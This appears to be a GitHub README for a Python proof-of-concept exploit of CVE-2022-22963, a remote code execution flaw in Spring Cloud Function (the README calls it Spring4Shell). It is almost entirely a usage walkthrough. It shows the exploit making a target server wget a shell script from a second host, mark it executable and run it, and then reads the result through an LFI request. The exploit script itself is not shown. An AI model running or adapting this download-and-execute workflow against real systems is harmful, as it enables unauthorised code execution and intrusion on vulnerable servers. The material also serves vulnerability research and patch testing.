lemmyz4n3771/cve-2022-22963-pocCVE-2022-22963 PoC de RCE en python
Esta es una implementación en Python de Spring4Shell, CVE-2022-22963, que afecta a los servicios que ejecutan Spring Cloud Function <=3.1.6 (para 3.1.x) y <=3.2.2 (para 3.2.x).
# serving test.sh on local webserver
$ cat test.sh
#!/bin/bash
whoami > /tmp/rce
$ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh'
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed
$ python exploit.py 10.10.10.10:8080 'chmod +x /tmp/test.sh'
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed
$ python exploit.py 10.10.10.10:8080 '/tmp/test.sh'
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed
# Provided you have LFI, you can see the contents of the file created
$ curl -s http://10.10.10.10:8080/LFI?file=/tmp/rce
user
https://www.fastly.com/blog/spring-has-sprung-breaking-down-cve-2022-22963-and-spring4shell-cve-2022